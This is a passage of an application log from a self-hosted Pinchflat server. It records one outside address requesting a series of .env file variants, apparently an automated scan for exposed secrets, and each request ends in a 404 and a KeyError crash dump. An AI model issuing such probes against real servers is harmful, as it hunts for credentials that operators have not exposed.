:call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3113.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49282}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3113.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49282}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3114.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:37.099 [info] GET /.env.dev 21:08:37.100 [debug] QUERY OK source="settings" db=0.6ms idle=141.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.101 [debug] QUERY OK source="settings" db=0.3ms idle=109.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.101 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.105 [info] GET /.env.development 21:08:37.106 [debug] QUERY OK source="settings" db=0.5ms idle=113.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.107 [debug] QUERY OK source="settings" db=0.3ms idle=109.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.107 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.102 [error] #PID<0.3116.0> running PinchflatWeb.Endpoint (connection #PID<0.3115.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3115.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49290}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3116.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-VTBp7Vp_noAAM6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3115.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49290}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3115.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49290}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3116.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:37.107 [error] #PID<0.3118.0> running PinchflatWeb.Endpoint (connection #PID<0.3117.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.development ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3117.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49292}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3118.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-VUfJqAM1tUAAM8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3117.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49292}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3117.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49292}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3118.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x- (truncated) 21:08:37.278 [info] GET /.env.local 21:08:37.279 [debug] QUERY OK source="settings" db=0.3ms idle=178.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.280 [debug] QUERY OK source="settings" db=0.2ms idle=178.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.280 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.280 [error] #PID<0.3120.0> running PinchflatWeb.Endpoint (connection #PID<0.3119.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3119.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49298}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3120.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-V9yE9GuTlUAAM-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3119.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49298}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3119.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49298}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3120.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:37.286 [info] GET /.env.test 21:08:37.287 [debug] QUERY OK source="settings" db=0.2ms idle=180.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.287 [debug] QUERY OK source="settings" db=0.2ms idle=180.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.287 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.288 [error] #PID<0.3122.0> running PinchflatWeb.Endpoint (connection #PID<0.3121.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3121.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49300}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3122.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", 